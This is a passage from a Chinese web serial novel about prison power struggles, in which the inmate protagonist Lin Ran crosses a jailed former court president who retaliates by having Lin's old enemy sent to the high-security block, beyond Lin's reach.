“孙院长,”林燃说,“你出去之后,会咬人。”
孙绍裘愣住了。
“我帮你办了保外,苏念晚第一个倒霉。”林燃继续说,“她签的字,她盖的章,她是‘帮凶’。你能进来,证明你在外面的对头很厉害,而你出去后,要是在外面被人举报,第一个查的就是她。”
他看着孙绍裘的眼睛。
“她对我很重要,我不能害她。”
孙绍裘没说话。
窗外的阳光又移了一点,落在他俩脚边。远处放风场有人在慢跑,一圈一圈,影子拖得老长。
过了好几秒,孙绍裘才开口。
“所以你就反悔?”
“对。”
孙绍裘笑了。
那笑容很怪,嘴角往上弯,眼睛没动,像一张贴上去的假脸。
“林燃,”他说,“你以为你赢定了?”
林燃没说话。
孙绍裘往后退了一步,靠在凳子边。
“你知道我是谁吗?”他问,“这些年。从我手上过的案子,比你见过的人都多。而我认识的人,从省里到部里,递句话能传到京城。”
他顿了顿。
“你以为我关在这儿,我就拿你没办法?”
林燃看着他。
“孙院长,”他说,“你现在在这儿,我也在这儿。外面那些人,再厉害,递话进来也得时间。这段时间——够我办完我的事了,至于你的事,对不起,我利用了你,但这就是这里面的规矩。”
林燃说的直白。
他原本不想说的这么直白的,但孙绍裘今天一直给他的威压下。
让他憋着一肚子火。
他就要在这种场合,好好杀一杀这位前院长的威风。
孙绍裘
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也没想到他这么直白。
气急败坏的前院长,狠狠的拍了下桌子。
“你找死!我废了你!”
像以前当领导时,对付下面人。
可林燃不怕。
“你尽可以试试,”
林燃声音陡然提高,直接压过他。
甚至还反问道:“你今天为什么要坐在这间办公室里?”
孙绍裘张了张嘴。
“彭振不在,你就敢用他的办公室?你一个犯人,谷彦君亲自去监区提我,把我带到这里来见你——”
林燃冷笑。
“孙院长,你跟我演这出戏,不就是想告诉我,你在里面一样能拿捏我?让我别耍花招,老老实实给你办事?”
“可你忘了——”林燃又往前走了一步,离孙绍裘只有一米,“你越是这样,我越不能让你出去——”
林燃此时已经站了起来。
“我这人吃软不吃硬。”
两人此时就这样对峙着。
隔了不知道多久。
孙绍裘盯着他看了几秒。
然后他点了点头。
那个头点得很慢,一下一下的。
“好,”他说,“好,好得很。”
林燃没接话,转身往回走。
走了两步,背后孙绍裘喊他。
“林燃!”
林燃头也没回。
“你记住今天。”
林燃没回话。
他此时已经走到窗边,旁边那几盆绿植。
那只小黑虫已经爬到叶子顶端了,停在那儿,触须一颤一颤。
他伸出手,用指头把那虫子拨了下去。
虫子掉进土里,翻了几个身,又爬起来,往另一片叶子爬去。
林燃看了它一瞬,便继续走出大门。
……
回到312,刀疤辉几个正在打牌。见他进来,都抬头。
“燃哥?”刀疤辉问,“前面那谷彦军叫你去是什么事?”
林燃没说话,走到自己铺位坐下。
他靠着墙,闭着眼。
脑子里转着孙绍裘那几句话。
“你记住今天。”
这老头急了。
也是,保外就医的事等了这么久,好不容易看到希望,结果自己这么直接给他断了,肯定接下来会有报复。
第一百九十六章 来了
但林燃心里清楚——这字,不能签。
孙绍裘这样的人,他牵扯的势力太大太大,敌对的,盯着的,太深不见底了。
他不是笑面佛,笑面佛是地头蛇,地盘在安江,人脉在安江,再狠也出不了这省。
孙绍裘不一样。就像他自己说的,他在**干了四十年,认识的人从省里到部里,递句话能传到京城。
他这样的大人物,结果都被弄进来。
那就不知道多少人盯着,
他一出去,会掀起风雨。
要是他被人举报。
到时候,苏念晚第一个跑不了。
她签的字,她盖的章,她是“帮凶”。
孙绍裘要是被人举报保外就医**,第一个要死的就是她。
林燃睁开眼,看着天花板那道裂缝。
那裂缝比上个月又长了点,从墙角往中间延伸,像条干涸的河床。
他坚定了想法。
玩就得把孙绍裘玩到底。
“燃哥?”
刀疤辉的声音。
林燃转过头。
刀疤辉蹲在他铺边,手里捏着几张牌,脸上带着点担忧。
“你没事吧?”他问,“脸色不太好看。”
林燃摇摇头。
“没事。”他说,“牌打完了?”
刀疤辉愣了愣,知道他不想说,也没再问。
“还打着呢。”他说,“你来两把?”
林燃站起来。
“行。”
他走过去,接过刀疤辉手里的牌。
牌是麻杆用硬纸板剪的,画着红桃黑桃,边缘都磨**了。牛哥蹲在对面,手里攥着一把牌,眼睛瞪得溜圆。
林燃坐下,开始摸牌。
脑子里还在转孙绍裘那些话。
而且,今天这次会见之后,林燃更坚定了不能帮他还有一个理由。
那就是彭振!
本来以为孙绍裘找彭振办保外就医,只是向地头蛇正常交易而已。
但今天他得意之际,自己说出口,之前彭振就是他这条线上的人!
甚至彭振还受过他的提携!
那么他就是自己的敌人!
只是彭振可能还没有和他提过自己而已。
林燃突然明白:孙绍裘现在可能还不知道彭振和自己的关系。
还不知道是你死我活的矛盾。
但等狗皮蛇到了安江之后,等幕后黑手看到狗皮蛇被调过来,应该也会注意到这点。
肯定就会开始调查,结果发现是孙绍裘调的,那么双方就会接触。
孙绍裘才会发现,原来自己居然和彭振是死对头。
孙绍裘就会说出是林燃让他办的,而且,会让对方知道,我林燃在翻案,在找当年陷害我的人。
那他彭振是谁的人?
是外面那个‘昌哥’的人!
他知道了,就等于昌哥知道了!就等于姚永军知道了!
孙绍裘也会开始帮着幕后黑手来对付自己。
所幸,现在对方还并没有对齐信息。
而在这监狱里,孙绍裘能动用的资源有限。
外面人脉再多,递话进来也得时间。真要是撕破脸,他能把自己怎么着?
林燃摸了一张牌,看了一眼,扔出去。
“对子。”
刀疤辉在旁边喊:“跟!”
林燃没理他。
他想的是另一件事。
他能在监狱里找人弄自己?
不可能。这老头在四监区待着,那是干部监区,都是些经济犯、职务犯,没几个能打的。他想找人弄自己,得从外面调人——可外面的人,三监区的人,会听他话吗?
彭振现在都没什么动作了,在安江这里,现在自己是安全的。
林燃手里抓着牌,脑子思索起来。
那他会怎样报复自己?
还是选择吃了哑巴亏?
林燃又摸了一张牌。
这张牌不错,是个A。
他正要把牌收进来,脑子里忽然闪过一个念头。
法律领域呢?
他是前院长。
他能让外面的人卡自己上诉?
林燃手里的牌停住了。
刀疤辉凑过来:“燃哥?出牌啊。”
林燃把那张A扔出去。
“单走一个A。”
他脸上没什么表情,但心里那根弦绷紧了。
孙绍裘要是真翻脸,影响自己上诉?
但仔细想了想,他也放心了。
这事也不太可能。自己的上诉已经递到中院了,谭副院长那边论文都发了,这案子现在有人盯着。孙绍裘手再长,也伸不到谭副院长那儿……
想到这,林
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燃放心下来。
“叫!”
他准备大获全胜。
……
好消息很快来了。
第二天下午,铁头又凑过来。
还是车间里,还是缝纫机旁。
他蹲在旁边,压低声音说:
“燃哥,那个狗皮蛇,今天到了。”
林燃脚下一顿。
缝纫机停了一秒,针头扎在布上,发出“咔”的一声轻响。
“今天?”他问。
铁头点点头:“刚才我老乡说的。车已经进监狱大门了,这会儿在入监队那边办手续。”
林燃没说话。
他把那根线松开,继续踩踏板。
缝纫机又响起来,针头一下一下,扎在布上。
“入监队那边,”铁头说,“这会儿热闹着呢。新犯人到,老犯人起哄。燃哥,等下放风时候,咱们要不要去看看?”
林燃心思还在飞着,半响才点了头。
铁头点点头,猫着腰走了。
林燃坐在那儿,踩着踏板,眼睛盯着那根针。
针头扎下去,抬起来,扎下去,抬起来。
一下一下。
狗皮蛇。
他脑子里闪过那张脸。
十年前,城西老码头三号仓库。锈迹斑斑的铁门。那个高个子,瘦,颧骨突出,眼睛小,看人的时候眯着。
他把茶叶罐递过来。
“送到东城宾馆307,有人接。”
就这么一句话。
然后林燃就被捕了。
然后他瘫了十年。
然后他母亲**。
然后——
此时,放风的铃声响起。
林燃踩了一脚,缝纫机停了。
他把那块布扯出来,扔到一边。
站起来,往车间门口走去。
……
入监队在监狱东北角,一栋灰色的三层楼,墙皮掉了一块一块的,露出里面的红砖。
林燃到的时候,楼前已经围了一圈人。
都是老犯人。三监区的,二监区的,还有几个四监区的干部犯,站在外围,抱着胳膊看热闹。
刀疤辉不知道什么时候也溜过来了,蹲在人堆边上,冲林燃招手。
“燃哥,这边。”
林燃走过去,在他旁边蹲下。
他知道,狗皮蛇马上要来了。
第一百九十七章 出事
人堆中间停着一辆白色面包车,车屁股对着楼门。
车门开着,几个穿灰囚服的新犯人正往下走,一个个脸色发白,眼睛不知道该往哪儿看。
“新货到了。”
刀疤辉压低声音,脸上带着那种看戏的表情,“每年这时候最热闹。”
入监队是新来监犯人的第一站,这里也是老犯人最喜欢的“节目”。
这个时候,他们会隔着铁丝网,尽情欣赏眼前这些倒霉蛋紧张、害怕、担心的表情,亦或是找出其中混不吝、挑衅的家伙,盯准人,准备之后在监区慢慢收拾。
即使他们之前也是这样过来的,但欺负新犯人,永远是这个弱肉强食世界里最重要的乐趣。
这个时候最忙的是铁头,他不愧是组织赌局的天才。
利用这个场合,居然也能开一场局。
“来了来了啊,一号,押是新丁的两位,押五个点!三号,押二进宫的十个点!”
他在看热闹的人群里,上下跑动,开庄做局。
打赌这批犯人里,哪些是“新同学”,哪些是“二进宫”。
林燃没说话。
仿佛和这场“盛会”毫无关系。
他看着那几个人。
一个瘦高个,下车的时候腿软,差点跪地上。
旁边的人扶了他一把,他自己反倒吓一跳,往旁边躲。
一个胖子,脸圆得像发面馒头,眼睛小得只剩两条缝,站在那儿东张西望,像在找什么。
还有一个——
林燃眯了眯眼。
那个最后下来的。
个子不高,一米七出头,但结实。肩膀宽,脖子粗,走路的姿势带着点外八字,像电视里那些打拳击的。
他下车之后,没像前两个那样慌。
他站在那儿,扫了周围一圈。
眼神松弛。
目光从那堆老犯人脸上扫过。
也毫无畏惧,甚至带着点轻视和鄙夷的味道。
因为他知道自己来这,也是有人罩着的。
早就有人打好了招呼。
别说作为新来的,会在这挨欺负。
他进来不欺负别人老犯人就不错了。
想到这,这人嘴角一撇,露出一丝得意。
然后,他看见了林燃。
那张脸僵住了。
林燃蹲在那儿,看着他。
狗皮蛇。
比之前胖了点,因为在看守所这段时间,接触不到那东西,人就会瘦。
但颧骨还是那么高,眼睛还是那么小,但脸上多了的肉将几道褶子掩盖了去,头发剃得精光,头皮泛着青色。
他站在那儿,盯着林燃,像看见鬼。
那表情,刀疤辉都看出来了。
“燃哥,”他压低声音,“那小子认识你?就是他?!”
林燃没说话。
他站起来,往前走了两步。
人堆里有人在起哄。
“嘿,新来的!瞅啥呢!”
“那胖子,**看什么看!”
“瘦子,你腿抖什么!”
狗皮蛇没动。
他站在那儿,盯着林燃,脸上的血色一点一点褪下去。
林燃走到他面前,离他两步远。
周围的老犯人安静下来了。
知道眼前是新帮派血牙盟的老大林燃。
都看着他们。
狗皮蛇的喉结滚动了一下。
“你——”他开口,声音干得厉害,“**是人是鬼?”
林燃看着他。
没说话。
就那么看着他。
狗皮蛇往后退了一步。腿撞在车门上,发出“咚”的一声响。
“**别过来!”他喊,声音变了调,“**别过来!”
人堆里有人在笑。
“这新来的,吓傻了?”
“瞅那样,跟见了鬼似的。”
“燃哥,你认识他?”
林燃没理他们。
他看着狗皮蛇,开口了。
声音不高,但那几个字,清清楚楚送进狗皮蛇耳朵里:
“狗皮蛇,好久不见。”
狗皮蛇的脸白了。
不是那种害怕的白,是另一种白——像血被抽干了的那种白。
他张了张嘴,想说什么,但没说出来。
就在这时,入监队楼里走出几个人。
走在最前头的是个中年管教,脸黑得像锅底,手里拿着一沓纸。
“都让开!”他喊,“围什么围!”
老犯人往后退了几步,但没散,还围成一个圈,眼睛盯着这边。
那管教走到面包车旁边,扫了一眼那几个新犯人,又看了一眼林燃。
“你,”他冲林燃说,“三监区的?跑这儿来干什么?”
林燃往后退
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了一步。
“路过。”他说。
管教瞪了他一眼,没再理他。他举起手里那沓纸,开始念:
“李铁军——”
那个瘦高个哆嗦了一下,应了一声。
“三监区!”
旁边有人起哄。
“三监区的,来我们这儿!”
“瘦得跟麻杆似的,能干活吗?”
“没事,来了就知道了!”
管教继续念。
“王德发——”
那个胖子应了一声。
“三监区!”
又是一阵起哄。
狗皮蛇站在那儿,眼睛还盯着林燃。他没动,也没说话。但林燃看见他攥着拳头,攥得指关节发白。
管教念到最后一张纸。
“周——”
他顿了顿,抬头看了狗皮蛇一眼。
“周景龙。”
狗皮蛇的本名。
林燃盯着那张纸。
三监区。
三监区。
三监区。
他几乎都已经产生听到这几个字的幻听了。
管教开口了:
“二监区!”
林燃愣住了。
旁边的人堆也愣住了。
二监区?
那不是重犯监区吗?**犯、死缓、无期——那地方关的都是这种人。
狗皮蛇一个**的,判十五年,怎么会分到二监区?
刀疤辉从人堆里挤出来,凑到林燃耳边,压低声音说:
“燃哥,怎么回事?他不是应该——”
林燃没说话。
他看着狗皮蛇。
狗皮蛇也在看他。
那眼神变了。
不是刚才那种见鬼的恐惧。是另一种东西——松了一口气,还有一点——得意?
林燃脑子里闪过一张脸。
孙绍裘。
那个老头。
他说过的话。
“你以为把我关在这儿,我就拿你没办法?”
“你记住今天。”
林燃咬了咬后槽牙。
操。
林燃站在人堆里,看着狗皮蛇被带往二监区的方向。
那小子走的时候还回头看了一眼。不是看他,是看那几个被分到三监区的新犯人,眼神里带着点庆幸。
林燃把这一幕收进眼底。
“燃哥?”刀疤辉凑过来,“这怎么回事?你不是说那小子要来三监区吗?”
第一百九十八章 想办法
林燃没说话。
他转身往回走。
刀疤辉跟上来,还想再问,但看见林燃那张脸,又把话咽回去了。
那张脸上什么表情都没有。但不是平时那种平静——是另一种东西。刀疤辉说不清,就是觉得不对劲。
回三监区的路上,林燃脑子里一直转着那几个字。
二监区。
重犯监区。
关的都是**犯、死缓、无期。那地方和普通监区不在一栋楼,放风场是单独的,劳动车间是单独的,连吃饭都是单独送。普通犯人根本进不去。
孙绍裘。
他早就算好了。
林燃咬了咬后槽牙。
自己以为稳了,以为调令下来就板上钉钉了。
可人家早就在后面等着——你让我调人,我调,但调去哪儿,我说了算。
二监区。
那地方,林燃手再长也伸不过去。
回到312,他靠墙坐着,盯着天花板那道裂缝。
刀疤辉几个不敢吭声,连牌都不打了,蹲在旁边大眼瞪小眼。
过了好一会儿,林燃开口:
“辉子。”
“在。”刀疤辉蹭地凑过来。
“二监区那边,你有认识的人吗?”
刀疤辉愣了愣,挠挠头:
“认识倒认识几个……早几年在外面混的时候,有个兄弟进去了,就在二监区。但燃哥,那地方你也知道,普通犯人进不去,放风都隔着铁丝网,想递话都难。”
林燃点点头。
他又问:“铁头呢?”
铁头蹲在墙角,听见叫他,赶紧过来。
“燃哥,二监区那边我没熟人。但我听说,那地方管得严,狱警都是挑过的,犯人里头也是按规矩来,不像咱们这边乱。”
林燃没说话。
他想了半天,又开口:
“帮我打听打听,那个狗皮蛇在二监区什么情况。不用接触,就打听。他分到哪个监舍,跟谁一块儿,有没有人罩他。”
铁头点点头:“行,我让我老乡问问。”
几个人散开了。
…………
接下来几天,林燃试了几个办法。
第一个是铁头那条线。他老乡在狱政科,帮忙查了狗皮蛇的档案——二监区,第七监舍,五个人,都是重刑犯。**、**、**,什么都有。狗皮蛇一个**的进去,算是垫底的。
但垫底归垫底,人就在那儿,林燃够不着。
第二个是刀疤辉那边,他也到处问了,想见人,没门。那地方规矩严,串监区是重罪,抓到了直接关禁闭,加刑。
第三个是林燃自己想的。
他去找李昌东
李昌东听说他要进二监区,眉毛挑得老高。
“你又要去二监区?”
林燃点点头。
李昌东盯着他看了几秒。
“林燃,”他说,“你最近搞的事太多了。孙绍裘那边,彭振那边,三监区那几个老大也对你颇有微词,说你现在在三监区搞风搞雨——你当监狱是你家?”
林燃没说话。
他手比出三个手指,放在桌上。
李昌东看了一眼,没动。
“多少?”
“三千。”
李昌东沉默了几秒。
林燃见他表情,他又抬起两个手指。
“五千。”
李昌东还是没点头。
林燃想了想,干脆收回四根手指,比了个一字。
这次他不用讲,李昌东都明白了他的意思。
把林燃弄进二监区一趟,给他一万。
说实话,这钱不少。
可李昌东苦笑着,还是摇了摇头。
这还是这么久以来,林燃第一次见他拒绝了钱。
“林燃,”他说,“你当我不想赚这个钱?”
他把那杯凉了的茶往桌边推了推,身子往前探了半寸。这个姿势林燃熟——领导要跟你“掏心窝子”的时候都这样。
“二监区那地方,不是钱的事。”
林燃没接话。
李昌东盯着他看了几秒,见他还是那张脸,什么表情都没有,叹了口气。
“你知道二监区关的都是什么人?”
“重刑犯。”
“重刑犯?”李昌东笑了,那笑容里带着点说不清的东西,“林燃,你在这里也混了久了,应该清楚——重刑犯也分三六九等。”
他往后靠了靠,椅子吱呀响了一声。
“三监区这帮人,**的、**的、**的,看着闹腾,但说白了,都是小打小闹。真要论狠,论不要命,论手上沾过多少血——”他顿了顿,“三监区加起来
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,比不上二监区一个零头。”
林燃没说话。
李昌东伸手指了指天花板,又指了指地板。
“二监区那栋楼,是八十年代建的,单独一个院子,三道铁门。为啥?因为那里面关的人,有一个算一个,都是判了死缓、无期的。**、放火、**撕票、灭门——你听说过的那种案子,全是那里面出来的。”
他收回手,看着林燃。
“这种地方你进去干什么?”
林燃沉默着。
李昌东摇摇头。
“好,就算我不问你为什么这么执着去那,我也只能告诉你,那地方,我也没办法,二监区那地方,是安江监狱的监狱。”
林燃没说话。
阳光从窗户斜射进来,落在那张刷漆的木桌上。有灰在光里飘,慢慢往下落。
他忽然想起上次孙绍裘那气宇轩昂的样子。
那老头向自己**时,就坐在隔壁彭振那间办公室里,和这里的布置也差不多。
林燃当时没当回事。
现在他知道了。
人家不是在吓唬他。
是在告诉他——我让你调人,人调了。但调去哪儿,我说了算。你跟我玩,还嫩点。
林燃站起来。
“李监,”他说,“麻烦你了。”
李昌东愣了一下,像是没想到他这么干脆就放弃了。
“林燃,”他喊住他,你到底为什么要过去“?”
林燃没回头。
推门出去。
走廊里光线暗,那股常年不散的霉味又飘过来。他站在那儿,看着尽头那扇铁窗。
窗外的阳光落在铁丝上,把那根铁丝照得发亮。
他忽然笑了一下。
很轻,嘴角往上弯了弯,又收回去。
孙绍裘,你行。
回去的路上,林燃走得很慢。
他把事情从头到尾捋了一遍。
孙绍裘帮他调了狗皮蛇,但把人调去了二监区。
那地方他进不去,狗皮蛇就够不着。
够不着,就挖不出姚永军的事。
挖不出姚永军的事,上诉就缺关键证据。
而孙绍裘那边,材料没签字,保外就医卡着。
但他不急——他在里面待着,彭振是他的人,外面人脉还在,慢慢等机会就行。